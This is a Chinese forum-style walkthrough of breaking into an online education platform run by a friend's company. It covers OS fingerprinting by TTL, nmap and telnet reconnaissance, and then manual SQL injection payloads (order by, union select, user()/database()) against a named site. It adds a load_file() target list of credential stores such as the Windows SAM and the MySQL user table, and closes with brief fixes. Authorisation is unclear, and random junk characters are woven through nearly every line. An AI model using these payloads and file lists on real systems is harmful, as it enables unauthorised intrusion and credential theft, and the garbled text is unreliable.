题记: q% H, c) g. g' B) D* P
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
, ]9 O/ r* f N第一步:获取需要的信息+ |: H) J0 A# I% S" I
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
/ L% A! t" D7 o* i注:以下为保护特用XXX代替敏感信息
! r! I6 T' N6 \; z& U顺手先PING了一下他们的域名:: u0 Q2 [& a, e! b1 r
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
6 A' {* R. S6 [8 L2 C64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms0 X4 s: q9 s2 A$ N! ^5 ^# r H
顺便了解一下TTL,学好基础知识才能一路顺风:8 J9 W: x' g# J. G1 G9 h
TTL:(Time To Live ) 生存时间
& d* I1 b2 z! ?+ e0 D' F+ q指定数据包被路由器丢弃之前允许通过的网段数量。4 g0 k& ^0 r# J' r
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
q4 }: o5 F& g使用PING时涉及到的 ICMP 报文类型
( G5 T/ |5 K- O& S2 }- E2 Y. V一个为ICMP请求回显(ICMP Echo Request)
4 A6 B8 m/ _! P: W$ H) ~5 y( x一个为ICMP回显应答(ICMP Echo Reply)( u6 y7 `0 M+ s
TTL 字段值可以帮助我们识别操作系统类型。- ^ U Z% U, d! r8 ?
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
1 W% m1 [# b3 w* _' i' a' r( {# ]Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
- j+ W0 p: f: x s* t微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
* L1 l I. V, c. h2 P8 i微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
& h- R# h. T3 x# K% u当然,返回的TTL值是相同的
, I' d/ V0 D( J+ Z但有些情况下有所特殊
; i! l6 f) R/ U, J+ NLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
' o5 N$ ~6 ^7 l" I2 J M7 AFreeBSD 4.1, 4.0, 3.4;8 n3 G) a0 L8 m
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
( W0 v/ W* l% a0 Q! `OpenBSD 2.6, 2.7, J3 b6 V0 [3 M! n5 M
NetBSD
) B8 O. y- u. J/ e; D6 s: C9 f/ ]HP UX 10.20
! X+ d {$ I- ^; j5 ZICMP 回显应答的 TTL 字段值为 2550 F8 k6 S, P1 X, j8 L" F* O( k
Windows 95/98/98SE
5 x- X. Z8 n5 O& WWindows ME
& ^' G! b% j7 f# O1 ]& Z4 [ICMP 回显应答的 TTL 字段值为 32
4 G9 g# _+ R5 r. hWindows NT4 WRKS
9 b# X! J; D8 E4 P xWindows NT4 Server
4 m6 F" X! }7 BWindows 2000
. y/ L1 N) T: Q# VWindows XP
4 H2 `( k7 a8 ~1 v4 h' {ICMP 回显应答的 TTL 字段值为 128& E* C) F8 r& c9 O2 D; q1 k' e
这样,我们就可以通过这种方法来辨别操作系统
8 X' B7 }2 n5 U# U6 STTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255$ X/ M- K" M( }- l# {' u- l
用NMAP扫描一下:# V) ~- N% i0 _- S T3 }
nmap -sT -O XXX.XXX.XXX.XXX3 t3 v1 q# m M+ n7 s0 q2 S
如果没有装WinPcap则会弹出提示:
! B5 @7 Y* b" R% Z% VWARNING: Could not import all necessary WinPcap functions. You may need to upgr
( Z+ t' ?3 [+ ~! s& N3 V; r6 l' lade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
$ [9 b6 j# l: W) J) mode — Nmap may not function completely7 W' v( |/ Y3 Q4 G3 \4 s& C
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher8 Z9 L X% V% \; @- D% M
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
* b8 @. u- g c% m# `4 \pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an8 t5 `, A% b5 j* ~' _0 s. w
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
" r) ~ F1 ?& d$ F, z& V) v( fersions, you may be able to take iphlpapi.dll from another system and place it i8 j) W# E8 z1 ` F# w
n your system32 dir (e.g. c:\windows\system32).- ]$ B+ b' M5 Q5 P- H
QUITTING!0 R( H; H. e! W- K2 U
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe: Z2 [8 Y$ S8 C' x8 B- q: Q
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:9 ?# ?+ u- I& y+ L: b! }- {5 \
Interesting ports on XXX.XXX.XXX.XXX:
0 S( p( R! f5 n1 WNot shown: 986 closed ports* T0 \7 y y1 w" h( {7 X' L
PORT STATE SERVICE
y) Q7 F1 ~" i, `4 c21/tcp open ftp! {) S& |+ o' ?; `& T" B
22/tcp open ssh. g; Z6 P8 `. k- t% ]! ^( A
23/tcp open telnet) y7 O. @: K9 D% g/ E% v
80/tcp open http
3 X) c" M4 p9 D& A- A/ z" r; Z9 s111/tcp open rpcbind
7 T+ t' L) Y) P& Z% c n2 x, W135/tcp filtered msrpc# V* `' T3 @! F* q# M; U1 P T
139/tcp filtered netbios-ssn
! w) L% e5 Q1 B! i1 A4 i445/tcp filtered microsoft-ds
" f- _' y) t' W; Z513/tcp open login0 `7 I1 y0 L b
514/tcp open shell
2 ^" Y" t6 f1 D8 h. K! C593/tcp filtered http-rpc-epmap
3 z6 S" X! G2 ?! f1720/tcp filtered H.323/Q.9315 g( e% F& O) U; a/ j) e7 G
3306/tcp open mysql
) r2 s0 v9 h8 U( l6 F4444/tcp filtered krb5244 X% N2 F- R/ o) w6 q# k, A4 e5 e
Device type: WAP. a+ t' A2 w: L
Running: Linux 2.4.X; E9 B8 i$ P; g. Q. \
OS details: DD-WRT (Linux 2.4.35s)
4 ^) c5 b' U7 f6 y) X6 aNetwork Distance: 13 hops
; X% h+ D4 p1 H! b8 Y! p8 L看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:$ P; K, _9 i4 A
login as:
! ?4 A! d3 o0 ~" JTelnet23端口也是开着的,用telnet 命令链接一下:) L/ _& q% Y* ]+ v% r
telnet XXX.XXX.XXX.XXX
, I. v" o) S9 c7 T) g" V提示:
% A7 N# Y: c3 m/ URed Hat Enterprise Linux Server release 5.2 (Tikanga)
6 d7 l3 p' s: }: z% }; b: {Kernel 2.6.18-92.el5PAE on an i6863 v% t5 I% ^8 j4 b1 f
login:: o8 |; I* i: ?
获取HTTP头信息:
9 G4 P% T6 N( |/ X, ^: ~( r% P在本地执行如下PHP代码. l! R8 J5 ?' E
<?php* s8 u- E$ j9 S3 r/ S9 e
$url = ‘XXX.XXX.XXX.XXX’;
) s* f! W/ \; C4 a" p% i- D$ j0 Aprint_r(get_headers($url));9 K' Y0 \- p* E, n0 o
print_r(get_headers($url, 1));- ^% F0 p h0 h) l3 j$ ^% x
?>' g2 d- t! n5 M( Y
将以上代码保存为PHP文件,执行:
' D( B* B. V, a; u& j4 q$ qArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )7 O% \/ k4 k- ?/ ^6 X& w& d1 _
现在可以得出结论:
# u2 @! M! D2 Q: ?系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
% L4 q( d/ l7 E, u9 g! E! a内核版本:Kernel 2.6.18-92.el5PAE on an i6868 [( B J+ ^8 \- ^/ W
WEB服务器版本:nginx/0.7.61
# s3 P1 W* A9 l2 X第二步,开始测试寻找漏洞
+ \. F% O5 m4 ]6 W; W& Y& `' v分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
0 b- i a7 i( V' g. I$ w# X+ J( a/ H1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的4 U& X0 e+ e+ b+ M
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试. ]. }' x4 K! F2 T/ I& @
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
$ z4 [, }3 ]5 \" V: J4 e2 whttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
8 z7 h8 }) ]( B恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续0 c3 Q6 N% D! P! h& p
3、手工注入:
2 e2 V: ~/ T# R; z ^. c6 [注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
. B2 |/ C8 ^! j7 ~6 }3.1 猜测当前表字段数2 x5 B/ t! e% Z9 a) y4 n3 A1 p# w
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10: s3 ?+ u4 ^5 [3 y& y# F% v
此处猜测有个简单的算法,都是有技巧的吗,呵呵
7 G% j1 `, T3 i/ U/ q算法简单如下:
/ {7 v8 o9 D* x+ ?2 h第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;) g6 y* _- p' k
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;* H1 Q. i L" H3 v8 C
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
; {# F7 t- W# i1 X& ?# m! g) f* c6 ~以此来判断,是否过界,配合取中算法猜出字段数。
5 X. H1 ]9 H# y9 o' M/ u$ Q) Y& X( V举例:( k3 T6 h4 w+ o$ Q( e0 v2 x
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常% |5 o9 x6 {5 u% }/ N" j
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
9 s1 r5 x2 H* n% |3 Z此时3则为我们要找的字段数。
& H& f' n& _- H, P3 j- c3.2 配合union联合查询字段在页面所位置4 P2 m, v4 Z6 v( R6 t% E1 f
我们已经知道了字段数为3,此时则可以做如下操作:3 }" Y$ y+ @( t8 R
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
) \) V s1 m( L7 J- ~8 w: v" v# }+ C7 u
8 x: W+ G, x! t这样就可以测试到哪些字段在页面上有所显示了,如图:' o) q# |8 k+ K, ^6 F. ~% X: c- q
+ t b2 I( @/ V$ C8 r# { i3.3 查敏感信息
O+ h8 ~3 q% N r8 Z这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
% k) O2 c0 j& f/ b2 x& P* y% j7 Ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
' G/ D0 s! A0 g3.3.1 先查数据库用户、数据库名,以备后用,如图:
6 @% @4 x' i) E. T" Q, g% a
* Z' S9 \3 F: L得到数据库用户为root、数据库名为DBxx;# U ?& |# o. @' @ ^
3.3.2 查配置文件
9 x1 ~ l/ _9 g6 E$ V+ q4 G5 _$ I查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。7 H( \" c5 X0 {
查看文件有一定的条件限制:
4 ]- F" l8 P) ~欲读取文件必须在服务器上
4 g! [- B' w6 L5 J9 _& ^3 q, k( Y必须指定文件完整的路径& R2 P4 C& W3 e4 w
必须有权限读取并且文件必须完全可读3 g) }$ [( J( M
欲读取文件必须小于 max_allowed_packet
& |! I0 z' e. f! ^" T$ UMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
9 e1 r: j. X5 X( s# ?+ \+ s常用的一些:6 A/ `* h6 N4 E! w+ B( Z% p+ k- P
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/ l: ~0 @9 N. g) R% u; X
/usr/local/apache2/conf/httpd.conf
" ~ Y3 T" h. t& q% Y, |/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
) r) V, `5 t9 j0 L, h; ]/ m/usr/local/app/php5/lib/php.ini //PHP相关设置& G; v' n# X+ p2 p
/etc/sysconfig/iptables //从中得到防火墙规则策略
$ e& j$ l; @+ r a/etc/httpd/conf/httpd.conf // apache配置文件
2 j% H4 ~4 G# b( b0 C7 W/etc/rsyncd.conf //同步程序配置文件
/ ^% n0 o$ k4 z, r" G/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.3 m& L* k( T* `+ U& }
/etc/my.cnf //mysql的配置文件
0 u! c1 r& U2 z8 I/etc/redhat-release //系统版本6 O3 ]! i3 @8 `* u0 e! V
/etc/issue
: u: }# R+ r, z: N5 G3 h/ w/etc/issue.net+ k M$ B: G5 ^! ~4 A2 w% B
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码' }0 l8 S& ]$ V5 R. F- s+ V
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码" F# Z1 Q8 X* G8 `) w, P, d
c:\Program Files\Serv-U\ServUDaemon.ini: L. y( y# ]2 H9 k
c:\windows\my.ini //MYSQL配置文件
8 Q7 k. w4 T. z3 V( Z( _c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
' M1 V( w T3 f) }) h等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,. v; [: u! {* ]7 w& s% p8 P
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
0 Q& H( Z1 n: }( A9 t% V6 Vc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此% p, n& S2 f" c4 O0 y2 v
c:\Program Files\RhinoSoft.com\ServUDaemon.exe% h! j( g, p# f; d6 l. b8 A
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
3 ~, E: m& c* _! `; [; F//存储了pcAnywhere的登陆密码1 E2 P' g# I) a
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
- \/ H6 l: p( I0 q, W6 K# @这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。9 N) E: P8 _$ S0 L& a
最后:防范措施
! w( d: u3 M, q" ^0 O0 a* e7 A1、修复PHP注入漏洞;/ @* `& I: u% c* }) Q$ m
2、Mysql使用普通权限的用户;) ]" {1 r6 w- j- E! Z/ o- c
3、升级linux内核至最新版本; |